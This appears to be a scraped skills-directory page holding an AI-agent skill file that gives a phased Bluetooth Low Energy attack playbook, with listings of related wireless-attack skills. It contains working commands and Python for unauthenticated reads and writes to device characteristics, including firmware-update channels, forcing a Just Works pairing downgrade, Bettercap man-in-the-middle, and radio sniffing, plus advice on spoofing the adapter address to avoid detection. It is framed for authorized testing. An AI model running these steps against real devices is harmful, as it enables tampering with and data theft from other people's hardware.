[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFXBT7ECYN2R931K7FFMXH":3,"skill-same:01M7DFXBT7ECYN2R931K7FFMXH":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFXBT7ECYN2R931K7FFMXH","ble-gatt",null,"GATT service\u002Fcharacteristic enumeration on BLE peripherals, unauthenticated read\u002Fwrite exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fble-gatt\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ble-gatt\ndescription: GATT service\u002Fcharacteristic enumeration on BLE peripherals, unauthenticated read\u002Fwrite exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: BLE, GATT, Bluetooth Low Energy, characteristic, pairing, Just Works, Ubertooth, Sniffle, bleak, gatttool, nRF Connect, notify, indicate, write without response\n  tags: ble, gatt, bluetooth, pairing, sniffing, iot, embedded\n  mitre_attack: T1040, T1557, T1190, T1078\n---\n\n# BLE GATT Enumeration and Exploitation\n\n> BLE devices routinely expose sensitive GATT characteristics without\n> authentication or encryption. Common wins: OTA firmware update channels,\n> PIN entry characteristics, device configuration, and health sensor data\n> — all accessible to any central within radio range.\n\n## Prerequisites\n\n- Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE,\n  or the eval board of the target SoC itself).\n- Tools: `bluez` (>=5.62), `gatttool`, `bluetoothctl`, `hcitool`,\n  `python3 -m pip install bleak` (cross-platform async BLE library).\n- Passive sniffer (optional but high-value): Sniffle (TI CC1352 \u002F CC26x2 dongle\n  + firmware) or Ubertooth One.\n- Mobile: nRF Connect (Android\u002FiOS) — fastest visual GATT browser; LightBlue on iOS.\n\n## Phase 1: Passive Discovery\n\n```bash\n# Identify advertising devices and their advertised UUIDs without connecting.\nsudo hcitool lescan --duplicates 2>\u002Fdev\u002Fnull | tee \u002Ftmp\u002Fble_scan.txt\n\n# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).\nsudo btmgmt find -l 2>\u002Fdev\u002Fnull | grep -E \"addr|name|uuid\"\n```\n\nUsing `bleak` for a structured scan:\n\n```python\nimport asyncio\nfrom bleak import BleakScanner\n\nasync def scan():\n    devices = await BleakScanner.discover(timeout=10.0)\n    for d in devices:\n        print(f\"{d.address}  RSSI={d.rssi:4d}  {d.name or '\u003Canon>'}  {list(d.metadata.get('uuids', []))}\")\n\nasyncio.run(scan())\n```\n\n## Phase 2: Full GATT Enumeration (unauthenticated)\n\n```bash\n# Connect and dump all services\u002Fcharacteristics\u002Fdescriptors.\n# gatttool is deprecated but still widely available; use bleak for scripting.\ngatttool -b \u003CTARGET_MAC> -I\n  > connect\n  > primary          # list services by UUID\n  > characteristics  # list handles, properties, UUIDs\n  > char-desc        # dump all descriptors\n\n# Or with hcitool + gatttool one-liner:\ngatttool -b \u003CTARGET_MAC> --primary\ngatttool -b \u003CTARGET_MAC> --characteristics\n```\n\nBleak full dump (preferred — handles BLE 5 extended):\n\n```python\nimport asyncio\nfrom bleak import BleakClient\n\nTARGET = \"AA:BB:CC:DD:EE:FF\"\n\nasync def dump_gatt():\n    async with BleakClient(TARGET) as client:\n        for svc in client.services:\n            print(f\"\\nService: {svc.uuid}  ({svc.description})\")\n            for char in svc.characteristics:\n                print(f\"  Char: {char.uuid}  props={char.properties}  handle=0x{char.handle:04x}\")\n                if \"read\" in char.properties:\n                    try:\n                        val = await client.read_gatt_char(char.uuid)\n                        print(f\"    Value: {val.hex()}  ({val!r})\")\n                    except Exception as e:\n                        print(f\"    Read error: {e}\")\n\nasyncio.run(dump_gatt())\n```\n\n## Phase 3: Unauthenticated Write \u002F Command Injection\n\n```bash\n# Write a raw value to a characteristic handle (gatttool).\n# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.\ngatttool -b \u003CTARGET_MAC> --char-write-req -a 0x002a -n 0100\n\n# Write to a writable characteristic by UUID (bleak):\n```\n\n```python\nasync def write_char(client, uuid, payload: bytes):\n    # Try write-with-response first; fall back to write-without-response.\n    props = client.services.get_characteristic(uuid).properties\n    if \"write\" in props:\n        await client.write_gatt_char(uuid, payload, response=True)\n    elif \"write-without-response\" in props:\n        await client.write_gatt_char(uuid, payload, response=False)\n    print(f\"Wrote {payload.hex()} to {uuid}\")\n```\n\nCommon attack targets by characteristic UUID:\n\n| UUID (16-bit) | Description | Attack |\n|---|---|---|\n| 0x2A19 | Battery Level | Read, establish baseline |\n| 0x2A24 | Model Number | Info disclosure |\n| 0x2A9D | Weight Scale | Sensor data w\u002Fo auth |\n| Vendor 0xFF01-0xFF0F | OTA \u002F DFU channel | Write firmware image |\n| Vendor 0xFFF1 | Generic config | Write arbitrary config |\n\n## Phase 4: Pairing Downgrade — Just Works\n\nJust Works pairing provides no MITM protection. Force it when the device\nadvertises IO capabilities that allow stronger pairing (Passkey, OOB) but\naccepts a downgrade.\n\n```bash\n# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.\nbluetoothctl\n  agent NoInputNoOutput\n  default-agent\n  scan on\n  pair \u003CTARGET_MAC>   # pairing will complete with no key confirmation\n  trust \u003CTARGET_MAC>\n  connect \u003CTARGET_MAC>\n```\n\nAfter pairing, re-run GATT dump — some characteristics become readable only\nafter bonding even when using Just Works.\n\n### MITM with Bettercap (BLE proxy)\n\n```bash\n# bettercap ble.recon + ble.enum — proxy-capable on supported adapters.\nsudo bettercap -eval \"ble.recon on; events.stream on\"\n# Enumerate target:\nsudo bettercap -eval \"ble.enum \u003CTARGET_MAC>\"\n# Write via bettercap:\nsudo bettercap -eval \"ble.write \u003CTARGET_MAC> \u003Cchar-uuid> \u003Chex-payload>\"\n```\n\n## Phase 5: Passive Sniffing with Sniffle\n\n```bash\n# Flash Sniffle firmware to a TI CC26x2R LaunchPad.\n# https:\u002F\u002Fgithub.com\u002Fnccgroup\u002FSniffle\n\n# Follow a specific device (37\u002F38\u002F39 advertisement channels, then data channel).\npython3 sniffle\u002Fsniffle_host.py -s \u002Fdev\u002FttyACM0 -a -l \u003CTARGET_MAC> | tee \u002Ftmp\u002Fble_capture.pcap\n\n# Open in Wireshark (BLE dissector built-in):\nwireshark \u002Ftmp\u002Fble_capture.pcap\n```\n\nUbertooth One — broadband BLE capture (less channel-following accuracy):\n\n```bash\nubertooth-btle -f -A 37 -c \u002Ftmp\u002Fble_ubertooth.pcap   # follow on adv channel 37\nubertooth-btle -f -t \u003CTARGET_MAC> -c \u002Ftmp\u002Fble_ubertooth.pcap  # follow by address\n```\n\n## Evidence\n\nSave all GATT dumps and captures:\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fble-gatt\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\n# Dump GATT to JSON:\npython3 dump_gatt.py > \"$EVIDENCE\u002Fgatt_dump.json\"\nsha256sum \"$EVIDENCE\u002Fgatt_dump.json\" >> \"$EVIDENCE\u002Fsha256.txt\"\ncp \u002Ftmp\u002Fble_capture.pcap \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\u002Fble_capture.pcap\" >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\nKnowledge graph observation for a found credential\u002Fkey:\n\n```python\nkg_record(\n    '[{\"kind\": \"Credential\", \"key\": f\"ble-gatt::{target_mac}\",'\n    '  \"label\": f\"BLE GATT unauthenticated access {target_mac}\",'\n    '  \"props\": {\"secret_type\": \"ble_characteristic\",'\n    '            \"mac\": target_mac,'\n    '            \"characteristic_uuid\": char_uuid,'\n    '            \"raw_value\": value_hex,'\n    '            \"pairing_method\": \"just_works_or_none\",'\n    '            \"source\": \"bleak+gatttool\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- BLE connection requests are logged by the peripheral's pairing database;\n  repeated failed pairings may trigger a lockout or vendor alert.\n- Just Works pairing is visible to the peripheral; if it keeps a bond list,\n  a stale address may flag re-pairing attempts.\n- Use `bdaddr` (hciconfig bdaddr spoof) or the adapter's random-address mode\n  (`hciconfig hci0 leadv 3`) to rotate your BD_ADDR between attempts.\n- Sniffle is passive — zero RF footprint beyond receiving. Prefer it when\n  the RoE explicitly prohibits active probing.\n- OTA\u002FDFU channels: if you can write a firmware image, gate the test on explicit\n  operator approval and a recovery plan (jtag\u002Fuart fallback) for the device.\n\n## References\n\n- Sniffle: https:\u002F\u002Fgithub.com\u002Fnccgroup\u002FSniffle\n- bleak: https:\u002F\u002Fgithub.com\u002Fhbldh\u002Fbleak\n- BTLE-Sniffer \u002F GATTacker historical MITM reference.\n- nRF Connect mobile: fastest manual GATT browser for live engagement triage.\n","# BLE GATT Enumeration and Exploitation\n\n> BLE devices routinely expose sensitive GATT characteristics without\n> authentication or encryption. Common wins: OTA firmware update channels,\n> PIN entry characteristics, device configuration, and health sensor data\n> — all accessible to any central within radio range.\n\n## Prerequisites\n\n- Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE,\n  or the eval board of the target SoC itself).\n- Tools: `bluez` (>=5.62), `gatttool`, `bluetoothctl`, `hcitool`,\n  `python3 -m pip install bleak` (cross-platform async BLE library).\n- Passive sniffer (optional but high-value): Sniffle (TI CC1352 \u002F CC26x2 dongle\n  + firmware) or Ubertooth One.\n- Mobile: nRF Connect (Android\u002FiOS) — fastest visual GATT browser; LightBlue on iOS.\n\n## Phase 1: Passive Discovery\n\n```bash\n# Identify advertising devices and their advertised UUIDs without connecting.\nsudo hcitool lescan --duplicates 2>\u002Fdev\u002Fnull | tee \u002Ftmp\u002Fble_scan.txt\n\n# Dump extended advertisement data (ADV_EXT, includes SID + periodic adv info).\nsudo btmgmt find -l 2>\u002Fdev\u002Fnull | grep -E \"addr|name|uuid\"\n```\n\nUsing `bleak` for a structured scan:\n\n```python\nimport asyncio\nfrom bleak import BleakScanner\n\nasync def scan():\n    devices = await BleakScanner.discover(timeout=10.0)\n    for d in devices:\n        print(f\"{d.address}  RSSI={d.rssi:4d}  {d.name or '\u003Canon>'}  {list(d.metadata.get('uuids', []))}\")\n\nasyncio.run(scan())\n```\n\n## Phase 2: Full GATT Enumeration (unauthenticated)\n\n```bash\n# Connect and dump all services\u002Fcharacteristics\u002Fdescriptors.\n# gatttool is deprecated but still widely available; use bleak for scripting.\ngatttool -b \u003CTARGET_MAC> -I\n  > connect\n  > primary          # list services by UUID\n  > characteristics  # list handles, properties, UUIDs\n  > char-desc        # dump all descriptors\n\n# Or with hcitool + gatttool one-liner:\ngatttool -b \u003CTARGET_MAC> --primary\ngatttool -b \u003CTARGET_MAC> --characteristics\n```\n\nBleak full dump (preferred — handles BLE 5 extended):\n\n```python\nimport asyncio\nfrom bleak import BleakClient\n\nTARGET = \"AA:BB:CC:DD:EE:FF\"\n\nasync def dump_gatt():\n    async with BleakClient(TARGET) as client:\n        for svc in client.services:\n            print(f\"\\nService: {svc.uuid}  ({svc.description})\")\n            for char in svc.characteristics:\n                print(f\"  Char: {char.uuid}  props={char.properties}  handle=0x{char.handle:04x}\")\n                if \"read\" in char.properties:\n                    try:\n                        val = await client.read_gatt_char(char.uuid)\n                        print(f\"    Value: {val.hex()}  ({val!r})\")\n                    except Exception as e:\n                        print(f\"    Read error: {e}\")\n\nasyncio.run(dump_gatt())\n```\n\n## Phase 3: Unauthenticated Write \u002F Command Injection\n\n```bash\n# Write a raw value to a characteristic handle (gatttool).\n# Value is hex bytes. Example: write 0x01 to handle 0x002a to enable notifications.\ngatttool -b \u003CTARGET_MAC> --char-write-req -a 0x002a -n 0100\n\n# Write to a writable characteristic by UUID (bleak):\n```\n\n```python\nasync def write_char(client, uuid, payload: bytes):\n    # Try write-with-response first; fall back to write-without-response.\n    props = client.services.get_characteristic(uuid).properties\n    if \"write\" in props:\n        await client.write_gatt_char(uuid, payload, response=True)\n    elif \"write-without-response\" in props:\n        await client.write_gatt_char(uuid, payload, response=False)\n    print(f\"Wrote {payload.hex()} to {uuid}\")\n```\n\nCommon attack targets by characteristic UUID:\n\n| UUID (16-bit) | Description | Attack |\n|---|---|---|\n| 0x2A19 | Battery Level | Read, establish baseline |\n| 0x2A24 | Model Number | Info disclosure |\n| 0x2A9D | Weight Scale | Sensor data w\u002Fo auth |\n| Vendor 0xFF01-0xFF0F | OTA \u002F DFU channel | Write firmware image |\n| Vendor 0xFFF1 | Generic config | Write arbitrary config |\n\n## Phase 4: Pairing Downgrade — Just Works\n\nJust Works pairing provides no MITM protection. Force it when the device\nadvertises IO capabilities that allow stronger pairing (Passkey, OOB) but\naccepts a downgrade.\n\n```bash\n# In bluetoothctl: set agent to NoInputNoOutput to force Just Works.\nbluetoothctl\n  agent NoInputNoOutput\n  default-agent\n  scan on\n  pair \u003CTARGET_MAC>   # pairing will complete with no key confirmation\n  trust \u003CTARGET_MAC>\n  connect \u003CTARGET_MAC>\n```\n\nAfter pairing, re-run GATT dump — some characteristics become readable only\nafter bonding even when using Just Works.\n\n### MITM with Bettercap (BLE proxy)\n\n```bash\n# bettercap ble.recon + ble.enum — proxy-capable on supported adapters.\nsudo bettercap -eval \"ble.recon on; events.stream on\"\n# Enumerate target:\nsudo bettercap -eval \"ble.enum \u003CTARGET_MAC>\"\n# Write via bettercap:\nsudo bettercap -eval \"ble.write \u003CTARGET_MAC> \u003Cchar-uuid> \u003Chex-payload>\"\n```\n\n## Phase 5: Passive Sniffing with Sniffle\n\n```bash\n# Flash Sniffle firmware to a TI CC26x2R LaunchPad.\n# https:\u002F\u002Fgithub.com\u002Fnccgroup\u002FSniffle\n\n# Follow a specific device (37\u002F38\u002F39 advertisement channels, then data channel).\npython3 sniffle\u002Fsniffle_host.py -s \u002Fdev\u002FttyACM0 -a -l \u003CTARGET_MAC> | tee \u002Ftmp\u002Fble_capture.pcap\n\n# Open in Wireshark (BLE dissector built-in):\nwireshark \u002Ftmp\u002Fble_capture.pcap\n```\n\nUbertooth One — broadband BLE capture (less channel-following accuracy):\n\n```bash\nubertooth-btle -f -A 37 -c \u002Ftmp\u002Fble_ubertooth.pcap   # follow on adv channel 37\nubertooth-btle -f -t \u003CTARGET_MAC> -c \u002Ftmp\u002Fble_ubertooth.pcap  # follow by address\n```\n\n## Evidence\n\nSave all GATT dumps and captures:\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fble-gatt\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\n# Dump GATT to JSON:\npython3 dump_gatt.py > \"$EVIDENCE\u002Fgatt_dump.json\"\nsha256sum \"$EVIDENCE\u002Fgatt_dump.json\" >> \"$EVIDENCE\u002Fsha256.txt\"\ncp \u002Ftmp\u002Fble_capture.pcap \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\u002Fble_capture.pcap\" >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\nKnowledge graph observation for a found credential\u002Fkey:\n\n```python\nkg_record(\n    '[{\"kind\": \"Credential\", \"key\": f\"ble-gatt::{target_mac}\",'\n    '  \"label\": f\"BLE GATT unauthenticated access {target_mac}\",'\n    '  \"props\": {\"secret_type\": \"ble_characteristic\",'\n    '            \"mac\": target_mac,'\n    '            \"characteristic_uuid\": char_uuid,'\n    '            \"raw_value\": value_hex,'\n    '            \"pairing_method\": \"just_works_or_none\",'\n    '            \"source\": \"bleak+gatttool\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- BLE connection requests are logged by the peripheral's pairing database;\n  repeated failed pairings may trigger a lockout or vendor alert.\n- Just Works pairing is visible to the peripheral; if it keeps a bond list,\n  a stale address may flag re-pairing attempts.\n- Use `bdaddr` (hciconfig bdaddr spoof) or the adapter's random-address mode\n  (`hciconfig hci0 leadv 3`) to rotate your BD_ADDR between attempts.\n- Sniffle is passive — zero RF footprint beyond receiving. Prefer it when\n  the RoE explicitly prohibits active probing.\n- OTA\u002FDFU channels: if you can write a firmware image, gate the test on explicit\n  operator approval and a recovery plan (jtag\u002Fuart fallback) for the device.\n\n## References\n\n- Sniffle: https:\u002F\u002Fgithub.com\u002Fnccgroup\u002FSniffle\n- bleak: https:\u002F\u002Fgithub.com\u002Fhbldh\u002Fbleak\n- BTLE-Sniffer \u002F GATTacker historical MITM reference.\n- nRF Connect mobile: fastest manual GATT browser for live engagement triage.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"ble, gatt, bluetooth, pairing, sniffing, iot, embedded","iot","BLE, GATT, Bluetooth Low Energy, characteristic, pairing, Just Works, Ubertooth, Sniffle, bleak, gatttool, nRF Connect, notify, indicate, write without response","T1040, T1557, T1190, T1078","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fble-gatt","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill ble-gatt",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill ble-gatt",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill ble-gatt","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fble-gatt\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]